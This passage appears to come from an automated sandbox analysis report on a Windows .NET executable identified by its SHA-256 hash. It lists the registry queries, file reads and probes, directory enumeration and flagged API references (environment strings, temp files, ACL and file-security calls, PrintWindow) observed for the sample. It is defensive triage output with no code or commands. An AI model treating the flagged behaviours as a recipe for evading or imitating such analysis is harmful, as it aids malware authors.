Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "INSTALLROOT"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "CLRLOADLOGDIR"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "USELEGACYV2RUNTIMEACTIVATIONPOLICYDEFAULTVALUE"; Value: "") "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "ONLYUSELATESTCLR"; Value: "")39:T6b0,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\microsoft.v9921e851#\a891970b44db9e340c3ef3efa95b793c\microsoft.visualbasic.ni.dll.aux" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\0b2f69b43a576b9edcc807a30872bd91\system.ni.dll.aux" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.windows.forms\c9a4cbc00f690a9e3cddfc400f6e85bb\system.windows.forms.ni.dll.aux" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.drawing\f7568d7f1b9d356f64779b4c0927cfb3\system.drawing.ni.dll.aux" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\mscorlib.tlb"3a:Tcfc,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\FLTLIB.DLL" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\MSVCP140.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\MSVCP140.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\VCRUNTIME140.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\VCRUNTIME140.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\ucrtbase.DLL" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\ucrtbase.DLL" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\api-ms-win-core-timezone-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-timezone-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\api-ms-win-core-file-l2-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-file-l2-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\api-ms-win-core-localization-l1-2-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\api-ms-win-core-synch-l1-2-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-processthreads-l1-1-1.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\api-ms-win-core-file-l1-2-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-file-l1-2-0.dll"3b:Tcf7,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\FLTLIB.DLL" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\MSVCP140.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\ucrtbase.DLL" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-core-synch-l1-2-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-string-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-stdio-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-convert-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-locale-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-filesystem-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-time-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-environment-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-math-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\api-ms-win-crt-utility-l1-1-0.dll" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL"3c:Tc02,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\SYSTEM32\MSCOREE.DLL.local" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe.config" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\automating_0f18421d#\" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.INI" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\netstandard\" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\Microsoft.Net\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.INI" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runt54187d77#\" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.InteropServices.RuntimeInformation\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.InteropServices.RuntimeInformation.INI" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.PDB" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\A939923A67E6C9D0BA120381E2BC5323EA80527E333D977366C2A5669A995E13.EXE.CONFIG" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\AUTOMATING_0F18421D#" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\A939923A67E6C9D0BA120381E2BC5323EA80527E333D977366C2A5669A995E13.INI" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\NETSTANDARD"3d:Teac,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005956)3e:T586,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API "GetModuleHandle" (Indicator: "GetModuleHandle"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp")3f:T70d,Found reference to API "GetTempFileName" (Indicator: "GetTempFileName"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API "GetTempPath" (Indicator: "GetTempPath"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp")40:Tb8c,Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "GetAce" (Indicator: "GetAce"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp")41:Td89,Found string "Rectangle" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "Polygon" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "ToUnicode" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: USER32.DLL) Found string "Escape" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "MoveToEx" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "LineTo" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "GetWindowExtEx" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "GetViewportExtEx" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "GetMapMode" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "ExcludeClipRect" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "IntersectClipRect" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "OffsetClipRgn" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "SelectClipPath" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "CreateRectRgn" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "GetClipRgn" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "GetRegionData" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "ExtCreateRegion" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "ExtSelectClipRgn" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "CreateBrushIndirect" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "CreatePen" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "CreateFontIndirectW" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "GetTextMetricsW" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "SetStretchBltMode" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL) Found string "PrintWindow" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: USER32.DLL) Found string "GetStockObject" (Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13, API is part of module: GDI32.DLL)42:T507,Found string "Format-Custom" 